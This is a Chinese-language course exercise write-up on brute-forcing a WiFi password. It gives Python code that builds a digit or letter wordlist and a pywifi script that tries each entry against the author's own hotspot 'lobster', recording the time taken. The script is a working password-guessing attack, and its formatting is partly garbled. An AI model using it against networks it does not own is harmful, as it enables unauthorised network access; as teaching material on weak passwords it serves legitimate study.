1. 假设密码(一个字符串)是不大于8位的纯数字密码,编写程序,暴力破解该密码,并记录破解所使用的时间。
生成密码本文件wifipwd.py,示例代码如下:
# 迭代器
import itertools as itls
# 定义变量,变量的值用于生成密码本
words = "1234"
# 生成8位的密码
pwds = itls.product(words,repeat=8)
# 打开文件wifipwd.txt,并且指定为以a模式打开(在文件最后进行添加)
dic = open("wifipwd.txt", "a")
for pwd in pwds:
# 将密码保存到txt文件中
dic.write("".join(pwd))
# 每一个密码进行换行处理
dic.write("".join("
"))
# 关闭文件
dic.close()
破解wifi密码wifi_test.py文件,示例代码如下:
# 测试连接,返回连接结果
def wificonnect(pwd):
# 获取网卡接口
wifi = pywifi.PyWiFi()
# 获取第一个无线网卡
ifaces = wifi.interfaces()[0]
# 断开wifi连接
ifaces.disconnect()
# 睡眠
time.sleep(1)
# 获取网卡的连接状态
wifistatus = ifaces.status()
# 判断是否真的断开连接了
if wifistatus == const.IFACE_DISCONNECTED:
# print("当前未连接wifi!")
# 创建wifi链接文件
profile = pywifi.Profile()
# 定义要连接的wifi的名称
profile.ssid = "lobster"
# 网卡开放
profile.auth = const.AUTH_ALG_OPEN
# wifi加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 密码
profile.key = pwd
# 进行连接之前删除所有的wifi连接文件
ifaces.remove_all_network_profiles()
# 设定新的链接文件
tcp_profile = ifaces.add_network_profile(profile)
# 新的连接文件测试连接
ifaces.connect(tcp_profile)
# wifi连接的时间
time.sleep(4)
# 连接之后,判断状态
if ifaces.status() == const.IFACE_CONNECTED:
# 如果连接成功了就返回True
return True
else:
return False
else:
print("当前已经连接到wifi!")
# 读取密码本
def readpassword():
print("已经准备好,开始破解wifi")
path = "D:\Git02Git01Git02wifi_demowifi_demowifipwd.txt"
# 以只读的形式打开文件
file = open(path, "r")
# 打印出开始尝试密码连接的时间
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S" ))
while True:
try:
# readline 每次读取一行密码
passwd = file.readline()
# 调用wifi连接的函数
bool = wificonnect(passwd)
if bool:
print("密码正确", passwd)
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
# 跳出当前循环
break
else:
print("密码不正确!", passwd)
except:
# 跳出当前循环,进行下次循环
continue
readpassword()
假设我们的wifi密码为11111214,运行结果如下:
由以上运行结果可以看出,密码正确,我们的wifi已经连接成功了,并且运行时间大约为101秒。
2.将密码设置成8位,含有数字、字母的 字符密码,修改程序破解,记录所用时间。
其实这里我们只需要将我们的手机热点的密码更改为数字和字母都有的(比如为aaaaabb2),并且将生成密码本的wifipwd.py文件中的words改为“ab12”就可以了。再次运行wifi_test.py文件。
运行结果如下:
由以上运行结果可以看出,密码正确,我们的wifi已经连接成功了,并且运行时间大约为121秒。